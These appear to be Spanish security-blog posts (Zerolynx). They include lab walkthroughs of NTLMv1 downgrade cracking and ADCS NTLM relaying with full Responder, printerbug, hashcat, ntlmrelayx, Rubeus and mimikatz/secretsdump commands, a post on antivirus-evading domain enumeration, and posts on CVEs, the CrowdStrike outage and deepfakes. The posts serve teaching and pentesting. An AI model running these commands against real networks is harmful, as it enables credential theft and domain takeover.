22 jul 2024

NTLMv1 Downgrade attack


NetNTLMv1 downgrade 

Como hemos comentado en entradas anteriores tras forzar una autenticación y obtener el hash NetNTLM de la contraseña del usuario máquina de la víctima, se nos presentan, principalmente, tres escenarios diferentes de explotación, en este caso vamos a estar hablado de: 

  • NetNTLMv1 downgrade  

En este escenario, el atacante aprovechará el uso del protocolo de autenticación NetNTLMv1 en la red. 

Para poder abusar de dicho protocolo de autenticación, el servidor vulnerable a “Coerce Autentication” deberá tener configurado en el registro la clave “LmCompatibilityLevel” y se encuentra con un valor de 2 o menos. 

Esto se puede configurar habilitando el envió de respuestas LM y NTLM en la política de grupo denominada como “Seguridad de red: nivel de autenticación de LAN Manager”. 


Resumen 

A continuación, se explica a grandes rasgos el proceso de explotación de este ataque: 

  1. Obtener una Respuesta NetNTLMv1 de la cuenta de máquina del controlador del dominio forzando la autenticación con cualquier vulnerabilidad de “Coerce Autentication”. 
  2. Transformar el hash NetNTLMv1 obtenido a un formato para poder ser crackeado en el modo DES. 
  3. Crackear las diferentes partes del hash y obtener las claves DES de cada una de ellas. 
  4. Transformar las claves DES Obtenidas a formato NTLM. 
  5. Realizar un DCSync para obtener el NTDS mediante Pass The Hash haciendo uso del hash NTLM obtenido en los pasos anteriores. 

Componentes del laboratorio de pruebas 

A continuación, describimos brevemente los activos que se encuentran en el laboratorio de pruebas: 

  • Attack_Machine – Esta máquina hace referencia a una Kali Linux desde donde realizaremos el ataque para obtener una “Coerce Autentication” y tener a la escucha el software para obtener el hash del usuario maquina en formato NetNTLMv1. 
  • DC.corp.lab – Controlador de dominio con el dominio “corp.lab” configurado, el cual va a ser víctima del ataque. Se configurará un usuario denominado como “Bob” en dicho dominio sin privilegios para emular el ataque desde el compromiso de este. Dicho servidor tendrá aplicada la política de grupo nombrada anteriormente. 

Desarrollo del ataque 

Obtener una Respuesta NetNTLMv1 

Para comenzar el ataque, deberemos comprobar si el controlador de dominio es vulnerable a alguno de los ataques de “Coerce Autentication” explicados “aquí”. En este caso, la explotación la realizaremos abusando del MS-RPC denominado como MS-RPRN mediante el script Printer Bug

Se deberá comprobar que el DC tiene dicho MS-RPC habilitado mediante el siguiente comando: 


Terminal

                python3 rpcdump.py @dc.corp.lab | grep 'MS-RPRN' 

      



Tras comprobar que el controlador de dominio es vulnerable a dicha “Coerce Autentication”, se deberá configurar la máquina del atacante. Para ello se deberá editar el archivo de configuración del software conocido como Responder, de la siguiente manera:


Terminal

                Sudo nano /etc/responder/Responder.conf 

				SMB = On 

				HTTP = On 

				;Challenge = Random 

			Challenge = 1122334455667788 

      


Una vez editado el archivo de configuración de responder, se deberá ejecutar de la siguiente manera para ponerlo a la escucha. El flag –lm fuerza un downgrade en ciertas versiones de Sistema Operativo. 


Terminal

                sudo responder -I eth0 -wv --lm  

      

Una vez teniendo en ejecución “Responder”, se procederá a explotar la “Coerce Autentication”


Terminal

                'python3 printerbug.py "CORP/bob:password" @dc.corp.lab attack_machine'

      

Tras forzar la autenticación del usuario máquina del controlador de dominio contra la máquina del atacante, se obtiene el hash NetNTLMv1 de dicho usuario. 


Transformar el hash NetNTLMv1 obtenido a un formato para poder ser crackeado 

Tal y como se ha comentado, una vez obtenido el hash NetNTLMv1 se deberá transformar a un formato que pueda ser crackeado en el modo DES. Para ello, se hará uso de la herramienta ntlmv1-multi, la cual proporcionará los siguientes pasos a seguir para el correcto crackeo del hash. 


Terminal

                python3 ntlmv1.py --ntlmv1 'hash ntlmv1' 

      

Como se puede observar en la captura de pantalla anterior, la propia herramienta muestra como calcular los 4 últimos dígitos del hash NTLM, y facilita, por un lado, los hashes que se deben crackear a formato DES, así como el comando que se debe ejecutar.  

Crackear las diferentes partes del hash y obtener las claves DES de cada una de ellas 

Por lo tanto, lo primero, se ejecutará el cálculo de los últimos 4 dígitos del hash NTLM de la siguiente manera haciendo uso de una herramienta de hashcat:


Terminal

                /usr/lib/hashcat-utils/ct3_to_ntlm.bin 'output obtenido con ntlmv1.py' 

      

Por otro lado, se procederá a crackear a formato DES los dos hashes proporcionados por la herramienta ntlmv1-multi mediante la herramienta de crackeo hashcat con el siguiente comando: 


Terminal

          hashcat.exe -m 14000 -a 3 -1 charsets/DES_full.hcchr --hex-charset 'fichero con hashes' ?1?1?1?1?1?1?1?1       

      

NOTA: En las versiones antiguas de hashcat, se hace uso del “charset” DES_FULL.charset, en las versiones actualizadas, se hace uso de DES_full.hcchr. 

Tras el proceso de crackeo, se obtiene las siguientes claves DES: 

Transformar las claves DES Obtenidas a formato NTLM: 

Una vez obtenidas las dos claves DES, se deberá hacer uso de otras herramientas de hashcat la cual permitirá transformas dichas claves al formato NTLM. 

Terminal

                 /usr/lib/hashcat-utils/deskey_to_ntlm.pl 'DES KEY crackeada 1' 

		/usr/lib/hashcat-utils/deskey_to_ntlm.pl 'DES KEY crackeada 2' 

      

Realizar un de DCSync para obtener el NTDS mediante Pass The Hash :

Tras obtener todas las partes del hash NTLM del usuario máquina del controlador de dominio, es posible realizar un DCSync y obtener el NTDS del dominio mediante la herramienta secretsdump.py de impacket, realizando un ataque de Pass The Hash: 

Terminal

                Python3 secretsdump.py -just-dc-ntlm -hashes ‘hash_ntlm’ ‘corp.lab/dc$@dc.corp.lab’’  

      


Dimas Pastor, Senior Analyst en Grupo Zerolynx.

19 jul 2024

¿Por qué se han caído los servicios de medio mundo tras un fallo de Crowdstrike?


Hoy, 19 de julio de 2024, muchas empresas a nivel global se han encontrado con el conocido "Blue Screen of Death" (BSOD) en sus sistemas. Esta falla ha obligado a muchas compañías a interrumpir sus servicios debido a la inoperatividad de numerosos equipos (tanto puestos de trabajo, como servidores),  entre ellas, por ejemplo, en organizaciones de la talla de Aena o Vocento. El problema ha sido atribuido a un problema con el servicio del popular software de ciberseguridad, CrowdStrike.

Según confirmó CrowdStrike, el masivo BSOD en Windows se debe a una actualización del sensor Falcon, específicamente, el utilizado en la carga del agente csagent.sys. En X se han reportado numerosos errores de la Pantalla Azul de la Muerte (BSOD) en hosts de Windows, los cuales parecen estar asociados con varias versiones de los sensores de CrowdStrike. Parece ser que hay varios workaround para poder solventar el problema, aunque el propio Crowdstrike ha tenido que dar marcha atrás con esta actualización.

https://x.com/troyhunt/status/1814174010202345761

https://x.com/troyhunt/status/1814174010202345761

El sensor Falcon de CrowdStrike es una solución avanzada de ciberseguridad que protege los sistemas contra amenazas y ataques. Utiliza inteligencia artificial y análisis en la nube para detectar y prevenir malware, ransomware y otras actividades maliciosas en tiempo real. 

Alguna de las propias soluciones o workaround que se han ofrecido se basan directamente en entrar al host en modo seguro y eliminar el propio agente de forma manual. Aunque realmente habrá que esperar a que Crowdstrike de una solución definitiva al problema para que quede solucionando de forma definitiva.

https://x.com/mike_d_ok/status/1814187157562810388


https://x.com/_johnhammond/status/1814240295921565805


Autor: Alberto Espada, analista de ciberseguridad en Zerolynx.

15 jul 2024

IA y Deepfakes: un dúo peligroso en las manos equivocadas



El emergente crecimiento de la Inteligencia Artificial ha permitido transformar sectores clave como la medicina, la economía, el sector energético o el transporte. En el panorama actual, la Inteligencia Artificial tiene un potencial inmenso para construir una sociedad mejor. Sin embargo, la IA es una herramienta de doble filo tan poderosa que puede ser explotada para desarrollar soluciones que encierren fines negativos o maliciosos.

En el plano de la ciberseguridad, la Inteligencia Artificial ha permitido la evolución y mejora de técnicas de ingeniería social, facilitando la ejecución de campañas de ciberataques más eficaces y difíciles de detectar. 

En este contexto, se ha visto desarrollados nuevos fraudes impulsados por la IA, especialmente en lo que conlleva a la creación de deepfakes.

¿Qué es el deepfake?

El término deepfake resulta de la combinación del término Deep Learning y fake. Así, este término hacer referencia a la técnica por la cual, empleando algoritmos de Inteligencia Artificial complejos como es el Deep Learning, se manipulan contenidos de carácter audiovisual datándolo de un efecto altamente realista. Esta característica implica que, bajo la percepción convencional de un humano, es muy complicado determinar si el contenido audiovisual que se está consumiendo es verdad o falaz. 

En este contexto, la tecnología deepfake para la suplantación de identidad ha conseguido expandirse a todas las plataformas digitales y al ámbito de la comunicación personal, la industria cinematográfica, así como al sector corporativo y gubernamental. Si bien abre oportunidades para la creatividad y la innovación en la producción de contenido digital, también presenta riesgos considerables para la privacidad y la seguridad.

Aunque deepface y deepvoice no son términos ampliamente reconocidos dentro del deepfake, podemos explicarlos de forma separada para entender las aplicaciones dentro del mundo de la ciberseguridad:

  • Deepfaces: Consisten en crear imágenes con un alto nivel de realismo desde cero, pero siendo completamente ficticias. 
  • Deepvoices: Esta tecnología permite generar voces humanas sintéticas que suenan muy naturales a partir de texto escrito. Además de generar una voz de cero, es posible falsificar la voz de una persona real entrenando a la IA con muestras de la voz real. Con unos minutos de audio de la voz de una persona, cualquier usuario podría clonar su voz y comprometer su seguridad y privacidad.


Casos reales de deepfake y ataques de IA

Algunos casos conocidos de deepfake o alteración y creación falsa de imágenes, audios y videos son los siguientes:

  • Deepfake de Vladimir Putin y Donald Trump: En 2019, un video deepfake que representaba a Vladimir Putin y Donald Trump fue compartido en redes, donde ambos líderes políticos parecían discutir temas serios como el control de armas y la política internacional. Este tipo de contenido subraya cómo los deepfakes podrían ser utilizados para desinformar y manipular opiniones públicas.
  • Deepfake de actores en películas pornográficas: Uno de los usos más controvertidos de los deepfakes ha sido la creación de videos pornográficos falsos que muestran a celebridades y personas públicas en escenas comprometedoras, como fue el caso de Emma Watson, Rosalía o Taylor Swift. Este tipo de contenido ha provocado preocupaciones legales y éticas sobre la privacidad y el consentimiento. 
  • Deepfake de Barack Obama: En 2018, un video deepfake del expresidente de Estados Unidos, Barack Obama, fue creado por la empresa Jordan Peele's Monkeypaw Productions. En el video, Obama parece estar haciendo declaraciones inusuales y advirtiendo sobre los peligros de los deepfakes, lo que se hizo para concienciar sobre esta tecnología y sus posibles usos maliciosos. El vídeo está disponible en youtube en el siguiente enlace.
  • Uno de los casos destacados de suplantación de voz es la del CEO de una empresa británica energética en marzo de 2019. En este incidente, los estafadores utilizaron inteligencia artificial para imitar la voz del CEO. Este alto directivo recibió una llamada telefónica de su supuesto jefe en la que se le indicaba que realizara una transferencia de 220.000€ a una cuenta bancaria externa. El CEO realizó la transferencia sin verificar la identidad de su jefe, dada la credibilidad de una llamada telefónica con una voz tan realista.


Un paso más en el deepfake…

Los avances en la sofisticación de los deepfakes convencionales son tan sustanciales que, en la actualidad, se han logrado realizar ejercicios de deepfakes en el contexto de una videollamada, lo que implica la capacidad de alterar en tiempo real la apariencia y voz de un individuo durante una llamada en vivo. 

Se plantea un problema mayor en esta situación, pues la dificultad en la detección de este tipo de estafas aumenta a gran escala. A pesar de la todavía escasa concienciación sobre este tipo de ejercicios de suplantación, es probable que dados los mediáticos casos sobre deepfake en estos últimos años, un usuario en internet pueda desconfiar de vídeos o imágenes que reflejen contenidos inusuales, o que un alto cargo directivo tome una actitud más dubitativa frente a una llamada de su jefe solicitando, de nuevo, cosas inusuales. Sin embargo, los deepfakes en tiempo real suponen un gran reto en la actualidad por la dificultad en su identificación. Y tú …¿dudarías de la identidad de la persona a la que estás viendo y escuchando al otro lado de la pantalla en tiempo real?

Sin embargo, esta técnica aún cuenta con pequeñas fallas relativas al movimiento de la cabeza y la perspectiva. Rotaciones de cabeza en el modelo de 90º o manos delante del rostro son algunas de las acciones habituales de una persona que los deepfakes aún no llegan a replicar de forma totalmente realista. Por lo tanto, mientras se desarrollan y mejoran las técnicas de detección de este tipo de ataques, puede llegar a resultar útil para detectar deepfake pedirle a la persona con la que se realiza la videollamada que mueva la cabeza o eleve el brazo (¡¡aunque no es la solución más recomendable!!).

Deepfake al alcance de todos

Uno de los aspectos más preocupantes del deepfake es su accesibilidad. Actualmente existen multitud de opciones software y aplicaciones gratuitas o con un coste muy reducido que permiten a los usuarios crear deepfakes con relativa facilidad.

Existen plataformas, como https://thispersonnotexist.org/, que generan retratos de personas que, pese a parecer imágenes de personas reales, son completamente falsas.

Otras herramientas conocidas para modificación de contenidos visuales son myEdit o PowerDirector. Estas herramientas, sumadas a clonadoras de voces como Vidnoz, son la combinación perfecta para ciberdelincuentes dispuestos a falsear y suplantar identidades en ámbitos digitales, pero también gubernamentales.

Tampoco podemos dejar de lado uno de los mejores servicios de Speech to Text, Eleven Labs, donde tambien podremos clonar voces de forma sencilla y rápida y a un coste realmente bajo. Por ejemplo, os mostramos en el siguiente audio que os hemos subido a MEGA, un ejemplo que hemos entrenado en unos pocos minutos:


Finalmente, DeepFaceLive es una versión de deepfake en tiempo real del popular software DeepFaceLab.

Mediante una simple búsqueda sobre recursos deepfake, se encuentran cientos de recursos en línea con los que crear nuevos montajes y engaños fácilmente.

One more thing…

Dos años atrás, una multinacional china sufrió un ataque basado en la tecnología deepfake en el que se defraudaron 26 millones de dólares. 

Dada la repercusión mediática que tuvo este ataque, y en la lucha para la concienciación de las amenazas digitales emergentes, en Zerolynx se tuvo la oportunidad de desarrollar una prueba de concepto sobre deepfake en videollamadas de Teams. Los linces Javier Martín, Álvaro Caseiro y Daniel Rico, haciendo uso de herramientas accesibles por cualquier usuario de internet, realizaron un ejercicio de suplantación en un entorno seguro y controlado como campaña de concienciación para altos cargos de una empresa ejecutiva.

La suplantación al CEO en directo y durante una videollamada es un evento que causa desconfianza en la plantilla ante eventos sospechosos o inusuales como la aprobación de nuevas facturas, delegación de puestos de mando o cambios en los datos de proveedores o clientes. Una junta en la que se espera la presencia del CEO o no, es una buena oportunidad de poner a prueba la concienciación en seguridad de los altos cargos al mismo tiempo que se forma a todos los presentes sobre los riesgos que cada vez serán más habituales.

Alba Vara, analista de ciberseguridad en Zerolynx.

8 jul 2024

CVE-2024-4577: Inyección de argumentos PHP en Windows


El pasado 6 de Junio, Orange Tsai reveló una nueva vulnerabilidad que afectaba a PHP, teniendo alcance sobre todas las versiones de PHP para Windows (PHP en modo CGI en particular en idiomas: chino y japonés), inclusive en instalaciones por defecto a los servidores XAMPP. 

La raíz del problema radica en un mal procesamiento de caracteres por parte del motor CGI (parecido a la vulnerabilidad de hace 12 años CVE-2012-1823). Este motor interpreta (0xAD) y decodifica como un “guion suave”, el cual, PHP convertirá en un “guion real” gracias a la función de mapeo “best fit”, permitiendo así que un agente malicioso se aproveche para ejecutar código arbitrario 

Versiones afectadas 

Esta vulnerabilidad ha sido calificada según las métricas del CVSS 3.1 como 9.8 crítica según NIST, y las versiones afectadas son: 

  • PHP 8.3 < 8.3.8 
  • PHP 8.2 < 8.2.20
  • PHP 8.1 < 8.1.29 

Explotación 

Para la explotación de esta vulnerabilidad son necesarias ciertas características en la máquina víctima: 

  • El software PHP debe estar configurado en modo CGI. 
  • Es posible la explotación si los binarios php.exe o php-cgi.exe están expuestos (todas las instalaciones por defecto en XAMPP para Windows). 
  • El sistema operativo debe ser Windows. 

Debido a que esta vulnerabilidad es muy parecida a la ya mencionada CVE-2012-1823, se pueden utilizar técnicas de explotación de esta. Para ello, según estas técnicas, para traducir la inyección en RCE, se debe intentar inyectar los siguientes argumentos: 


Esto permitirá la entrada del cuerpo de la solicitud HTTP y la procesará usando PHP. Se creó un ejemplo de petición añadiendo el “guion suave” en lugar del “guion real”, y en el cuerpo de la petición se añadió un código php que permitía ver la página phpinfo, demostrando que se consiguió el RCE. 



Como se pueden ver en las capturas, se ha conseguido ejecutar código mediante la inyección de argumentos en la petición. Esto supone un problema grave porque un agente malicioso podría utilizar esta vulnerabilidad para controlar cualquier máquina afectada por este CVE, afectando a la confidencialidad, integridad y disponibilidad de esta.

Identificación y mitigación de la vulnerabilidad 

Para identificar la vulnerabilidad en los sistemas, se puede realizar mediante la inspección de la versión de PHP. 

Para mitigar la vulnerabilidad principalmente se debe actualizar el software PHP a las nuevas versiones parcheadas: 

  • 8.3.8 
  • 8.2.20 
  • 8.1.29 

Es muy importante aplicar la actualización más reciente, ya que los agentes maliciosos están usando actualmente el rasomware TellYouThePass para explotarlo de forma activa. 


Javier Muñoz, Analista de Ciberseguridad en Zerolynx

1 jul 2024

CVE-2024-30078: Ejecución remota de código del controlador Wi-Fi de Windows




El pasado 11 de junio, Microsoft  publicó en sus noticias de parches una vulnerabilidad de alto impacto que afectaba al controlador de Wi-Fi de Windows, que consistía en una ejecución remota de código (RCE).

Explotación de la vulnerabilidad

Esta vulnerabilidad puede ser explotada por un atacante dentro del rango Wi-Fi de un dispositivo vulnerable, lo que le permite enviar paquetes especialmente diseñados al dispositivo sin necesidad de estar autenticado y sin necesidad de interacción del usuario. Si se explota con éxito, esto podría permitir al atacante ejecutar código arbitrario, lo que podría llevar a un compromiso completo del sistema.

En detalle

Un atacante puede aprovechar la vulnerabilidad del controlador Wi-Fi de Windows diseñando un punto de acceso Wi-Fi configurado con un SSID malicioso. Cuando el ordenador de la víctima escanea las redes Wi-Fi y encuentra el SSID del atacante, el código se ejecuta de forma remota en el sistema de la víctima.

El alcance del ataque puede incluir acceso no autorizado al sistema de la víctima, lo que podría provocar robo de datos, instalación de ransomware u otras acciones maliciosas.

La causa raíz de la vulnerabilidad es una validación de entrada incorrecta en el controlador Wi-Fi. Este fallo permite a un atacante manipular la entrada y desbordar un búfer, lo que puede ser explotado para ejecutar código malicioso de forma remota. 

Requisitos de ataque y versiones afectadas

Actualmente no existe un exploit publicado que permita probar la debilidad, aun así, para poder explotarla existen unos requisitos y características:

  • Es necesario estar cerca de la red del controlador, concretamente dentro del rango de red Wi-Fi.
  • La explotación se realiza sin necesidad de estar autenticado.

La vulnerabilidad ha sido catalogada con el identificador CVE-2024-30078 y tiene una puntuación de 8.8 según las métricas del CVSS 3.1.

Los sistemas afectados por esta vulnerabilidad son los siguientes:

  • Windows 10 (Versiones 1507, 1607, 1809, 21h2, 22h2)
  • Windows 11 (Versiones 21h2, 22h2, 22h3, 23h2)
  • Windows Server (2008 SP2, 2008 R2 SP1, 2012, 2012 R2, 2016, 2019, 2022, incluyendo las instalaciones Server Core)

Mitigación y detección de la vulnerabilidad

Para detectar esta vulnerabilidad es necesario revisar la versión actual del sistema.

Para mitigar esta vulnerabilidad el principal aspecto a tratar es:

  • Habilitar las actualizaciones automáticas, procurando tener la versión más reciente disponible.
  • Evitar conectarse a redes públicas.

Javier Muñoz, Analista de Ciberseguridad en Zerolynx.

24 jun 2024

ADExplorer - cómo enumerar un dominio cuando el antivirus no está de acuerdo




En la entrega de hoy vamos a estar hablando sobre cómo enumerar un dominio cuando el antivirus no está de acuerdo.

Durante una auditoría de seguridad, enumerar el dominio es una tarea crucial para obtener una visión completa de la infraestructura del dominio corporativo, para lo cual se utilizan herramientas de recolección como SharpHound o PowerView. Sin embargo, estas herramientas a menudo son detectadas y bloqueadas por antivirus y otras medidas de seguridad implementadas. Además, dadas las restricciones de tiempo típicas de una auditoría, no siempre es posible evadir con éxito estas defensas para realizar la enumeración deseada.

En estos casos, surge la necesidad de buscar alternativas que no solo sean efectivas, sino también discretas. Una excelente alternativa es ADExplorer.exe, una herramienta proporcionada por Sysinternals y firmada por Microsoft. Al estar firmada por una entidad reconocida como Microsoft, ADExplorer es generalmente considerada como no maliciosa y por lo tanto, es menos probable que sea bloqueada por los antivirus.

No obstante, si un atacante está aprovechando herramientas como ADExplorer. Puede darse la ocasión donde la consulta LDAP pueda contener objectClass=* u objectGuid=*. Esto no es necesariamente ideal porque, dependiendo del tamaño de la organización, esto podría contener una gran cantidad de datos para recuperar y podría interrumpir las comunicaciones entre un C2 y la estación de trabajo en la que se ejecuta el agente.

Partiendo de tener un usuario de dominio, ADExplorer permite inspeccionar el dominio y realizar un snapshot del Directorio Activo en un fichero .dat. Aunque este snapshot no contiene tanta información detallada como una extracción completa realizada por SharpHound (no se enumeran sesiones, no proporciona un path de ataque, etc), sigue siendo un punto de partida muy útil para la enumeración del dominio. 


Una de las ventajas significativas de usar ADExplorer es la posibilidad de convertir el archivo .dat generado en un formato más utilizable para el análisis posterior. Utilizando la herramienta ADExplorerSnapshot.py, el archivo .dat puede ser convertido a formato .json. Esta conversión permite que los datos sean importados a una GUI de BloodHound, una plataforma ampliamente utilizada para el análisis y visualización de la información del Directorio Activo. De esta manera, se puede aprovechar al máximo la información recolectada, facilitando una mejor comprensión de la infraestructura de red y potenciales vulnerabilidades.



Además, ADExplorer genera un tráfico que muchos sistemas de monitorización de redes no consideran malicioso. Esta característica puede ser muy interesante de cara a ejercicios de red team, donde el objetivo es recopilar la información necesaria sin ser detectado. Al no levantar sospechas con su tráfico, ADExplorer se convierte en una herramienta estratégica para los profesionales de la seguridad que buscan realizar una auditoría exhaustiva sin alertar a los sistemas de defensa de la red.


Y de esta manera finalizamos la entrega sobre ADExplorer, gracias por acompañarnos otro Lunes más hasta la próxima.

Ignacio Sánchez, Analista de Ciberseguridad en Zerolynx.

17 jun 2024

Certificate Service Relaying


Tras forzar una autenticación y obtener el hash NetNTLM de la contraseña del usuario máquina de la víctima, se nos presentan diferentes escenarios de explotación los cuales comentaremos a lo largo de diversas entradas en el blog.

A continuación, hablaremos de Certificate Service Relaying con un ejemplo práctico en un laboratorio de pruebas.

En este primer caso, el ataque consta de reutilizar la credencial capturada mediante un “Coerce Autentication” para autenticarse en un ADCS (Active Directory Certificate Service) mal configurado (que lo está por defecto), para poder escalar privilegios en el dominio.

A continuación, se muestran algunas de las condiciones que se deben cumplir para poder realizar este ataque:

  • El ADCS tiene que estar configurado para aceptar autenticaciones NTLM.
  • La autenticación NTLM no está protegida por EPA o firmado SMB.
  • El ADCS está ejecutando cualquiera de los siguientes servicios:
    • Servicio web de directiva de inscripción de certificados.
    • Servicio web de inscripción de certificados.

Resumen

A continuación, se explica a grandes rasgos el proceso de explotación de este ataque:

1. Conseguir acceso a una red configurada con Active Directory y una instancia ADCS mal configurada. Para ciertos ataques de coerce, además habrá que comprometer un usuario del dominio, independientemente de los privilegios de este.

2. Configurar a la escucha, en un equipo controlado por el atacante, un software para realizar la reutilización de la autenticación NTLM contra la instancia ADCS mal configurada.

3. Forzar la autenticación del controlador del dominio (Cualquier vulnerabilidad de “Coerce Autentication”) contra la maquina controlada por el atacante con el software para reutilizar la autenticación NTLM.

4. El controlador de dominio se autentica en la maquina controlada por el atacante.

5. La credencial obtenida del usuario máquina del controlador del dominio es reutilizada para autenticarse sobre el ADCS.

6. El ADCS emite un certificado para el usuario de máquina del controlador del dominio.

7. Haciendo uso del certificado obtenido en el paso anterior, se solicita un ticket Kerberos TGT.

8. Utilizar el ticket TGT del usuario máquina del controlador de dominio para solicitar el TGS de cualquier usuario, o realizar un DCSync para obtener el NTDS del dominio.

Componentes del laboratorio de pruebas

A continuación, describimos brevemente los activos que se encuentran en el laboratorio de pruebas:

  • Attack_Machine – Esta máquina hace referencia a una Kali Linux desde donde realizaremos el ataque para obtener una “Coerce Autentication” y tener a la escucha el software para la reutilización de la autenticación.
  • DC.corp.lab – Controlador de dominio con el dominio “corp.lab” configurado, el cual va a ser víctima del ataque. Se configurará un usuario denominado como “Bob” en dicho dominio sin privilegios para emular el ataque desde el compromiso del mismo.
  • CA.corp.lab – Entidad certificadora dentro del dominio “corp.lab”.
  • Windows10 – Equipo con sistema operativo Windows comprometido previamente por el atacante, dentro del dominio “corp.lab”.

Instalación de versión especifica de impacket

Para poder desarrollar este ataque, es necesario tener instalada una versión especifica de impacket, la cual está desarrollada para poder reutilizar contra el ADCS la autenticación NTLM obtenida. Para ello seguiremos los siguientes pasos:

  • Instalar el paquete de entornos virtuales de Python:

                sudo apt install python3-venv


  • Descargar y comprobar la versión especifica de impacket necesaria.


git clone https://github.com/ExAndroidDev/impacket.git

cd impacket

git checkout ntlmrelayx-adcs-attack


  • Crear un nuevo entorno virtual e instalar las dependencias de impacket
python3 -m venv impacket-adcs-attack
source impacket-adcs-attack/bin/activate 
pip install 



Desarrollo del ataque


Identificar servicio ADCS mal configurado en el dominio


Tras instalar la versión especifica de impacket, el primer paso que debe realizar es identificar el ADCS. Para ello se podrá hacer uso de múltiples herramientas, entre las que se encuentra una nativa de Microsoft denominada como certutil.


Tras detectar cual es el servidor, se deberá comprobar si tiene habilitado el servicio web de inscripción de certificados habilitado, para ello accederemos a la siguiente url desde un navegador:

http://ca.corp.lab/certsrv/certqus.asp


Cabe destacar, que al acceder a dicha URL nos solicitará un usuario y una contraseña, el cual será el de un usuario del dominio previamente comprometido (En este caso el usuario “CORP.lab\Bob”).

Una vez llegados a este punto, deberemos comprobar si el controlador de dominio es vulnerable a alguno de los ataques de “Coerce Autentication” explicados en en otras entradas del blog. En este caso, la explotación la realizaremos abusando del MS-RPC denominado como MS-RPRN mediante el script Printer Bug.

Se deberá comprobar que el DC tiene dicho MS-RPC habilitado mediante el siguiente comando:

python3 rpcdump.py @dc.corp.lab | grep 'MS-RPRN'


Puesta a punto del software para la reutilización de la autenticación NTLM 


A continuación, se deberá configurar el entorno del atacante para poder realizar el ataque de reutilización de contraseñas. Para ello, se deberá configurar la herramienta denominada como Responder de la siguiente forma:

Sudo nano /etc/responder/Responder.conf
SMB = Off
HTTP = Off



A continuación, se deberá ejecutar tanto el script denominado como responder, responsable de capturar la “Coerce autentication” como el script denominado como ntlmrelayx previamente instalado, para realizar la reutilización contra el ADCS de la autenticación NTLM obtenida.

sudo responder -I eth0 -wd



python3 ntlmrelayx.py -debug -smb2support -t http://ca.corp.lab/certsrv/certfnsh.asp  --adcs --template DomainController


Forzar autenticación y obtención del certificado expedido por el ADCS

Una vez teniendo en ejecución ambos scripts, se procederá a explotar la “Coerce Autentication”.

python3 printerbug.py "CORP/bob:<password> @dc.corp.lab" attack_machine


Tras la anterior ejecución, se obtendrá el certificado del usuario de máquina del dc:


Obtención del ticket TGT del controlador de dominio

Una vez obtenido el certificado, desde el equipo Windows 10, haremos uso de la herramienta Rubeus para solicitar e importar un ticket TGT del usuario máquina del controlador de dominio.

.\Rubeus.exe asktgt /dc:<ip del DC> /domain:CORP.LAB /user:DC$ /ptt /certificate:<Certificado en base64>


Se deberá comprobar que el ticket está correctamente importado mediante el siguiente comando:

klist



Tras comprobar que se encuentra correctamente importado, se podrán realizar diferentes acciones, como, por ejemplo, solicitar el ticket TGS del usuario Administrador del dominio:

.\mimikatz.exe
lsadump::dcsync /domain:CORP.lab /user:Administrador



Una vez obtenido el TGS del usuario administrador del dominio es posible autenticarse en el DC con privilegios elevados y comprometer la totalidad del dominio.

Este ha sido el primero de esperemos que muchos escenarios a comentar… ¿Y tú, cuáles conoces? Hasta la próxima entrada.

Dimas Pastor, Senior Analyst en Grupo Zerolynx.